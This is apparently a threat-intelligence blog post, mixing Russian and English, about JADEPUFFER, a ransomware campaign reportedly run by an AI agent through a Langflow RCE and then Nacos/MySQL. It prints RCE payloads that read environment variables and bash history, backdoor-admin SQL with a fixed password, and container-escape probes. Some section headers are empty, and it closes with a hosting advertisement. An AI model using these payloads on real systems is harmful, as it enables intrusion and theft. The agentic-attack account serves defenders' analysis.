Вывод: Sysdig определяет JADEPUFFER как Agentic Threat Actor (ATA) — атакующая capability доставляется AI Agent, а не manually-driven toolkit. Новая формальная категория в отчёте.

Timeline:

Механизм по шагам: endpoint валидирует syntax custom function nodes через ast.parse() → compile() → exec(), без auth и sandbox. В Python decorators и default arguments evaluate at definition time; attacker кладёт malware в default args — при «validation» код уже выполняется на server. Без login, один HTTP POST = RCE.

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')

Trend Micro задокументировала типичные payload в кампании Flodrix (отдельная волна). 700-byte Bash script загружает Flodrix ELF binary и собирает TCP/UDP DDoS botnet.

Patch analysis: Langflow 1.3.0 добавляет _current_user: CurrentActiveUser dependency injection в post_validate_code; FastAPI проверяет JWT Bearer или x-api-key первым — fail 401/403, request не достигает vulnerable logic.

Phase 1 — Langflow host compromised: все payload как Base64-encoded Python через RCE endpoint.

Phase 2 — MySQL + Nacos production server: Nacos широко в Alibaba microservices; auth history CVE-2021-29441, default JWT signing key public в docs с 2020, многие deployments не rotated.

Nacos backdoor admin injection — 31-second self-heal loop (UTC timestamps):

cur.execute('DELETE FROM users WHERE username="xadmin"')
hash_val = bcrypt.hashpw(b'admin123', bcrypt.gensalt(rounds=10)).decode()
cur.execute('INSERT INTO users (username, password, enabled) VALUES ("xadmin", "' + hash_val + '", 1)')
cur.execute('INSERT INTO roles (username, role) VALUES ("xadmin", "ROLE_ADMIN")')

Container escape probing (~8 minutes): MySQL INTO OUTFILE / LOAD_FILE tests write, readback, /var/run/docker.sock, /proc/1/cgroup, /etc/hostname, UDF escalation via mysql.func. Before ransomware marker _pwn_cleanup.txt — Sysdig: structured agent signal для next phase, не fixed script.

Destructive encryption: все 1 342 Nacos config entries encrypted via AES_ENCRYPT(), deleted config_info и his_config_info, ransom table README_RANSOM. Key uuid4(), printed once, never stored — payment useless. Note claims AES-256; MySQL default AES-128-ECB.

Mass destruction: ROI-prioritized DROP DATABASE; code comment claims backup to 64.20.53[.]230 — Sysdig no independent proof. Foreign key failure: next payload adds SET GLOBAL FOREIGN_KEY_CHECKS=0 — understands failure cause, not blind retry.

По рекомендациям Sysdig и IOC инцидента команды могут действовать немедленно:

Четыре independent evidence lines «LLM-driven» (Sysdig):

Industry reaction: BleepingComputer, Dark Reading называют «first fully AI-driven ransomware»; CSO Online цитирует red team expert Vibhum Dubey: concerning «quiet phase» before encryption — agent maps identity while evading detection; each intrusion may differ slightly. Media mention LLMjacking: stolen credentials drive agent — marginal cost multi-phase attacks approaches zero.

Sysdig four conclusions: ① ransomware threshold drops to «cost of running an agent»; ② old vulns automated weaponization — «spray entire CVE history» costs near zero; ③ LLM self-narration gives defenders readable detection surface; ④ «backed up» only agent code comment, unverified.

Alternatives compared: public Langflow/Nacos for agent prototyping hands API keys and topology to scanners; local notebook 7×24 autonomous agents hard to enforce egress and runtime detection; macOS agent orchestration in VM violates EULA and limits Metal. For AI agent production and red team simulation needing iOS CI/CD, full root, isolated test env and 7×24 stability, KVMNODE dedicated Mac Mini M4 cloud rental is usually optimal: 100% physical hardware, open sudo, flexible day/week/month — agent workflows auditable isolated from production network. Pricing: страница цен. JADEPUFFER warning: skill barrier = agent run cost — public app servers, unhardened config centers, internet-reachable DB admin accounts are first targeted attack surfaces.

Sources: Sysdig «JADEPUFFER: Agentic ransomware for automated database extortion»; BleepingComputer, Dark Reading, CyberScoop, CSO Online, Security Affairs; Trend Micro CVE-2025-3248 / Flodrix; NVD, CISA KEV catalog.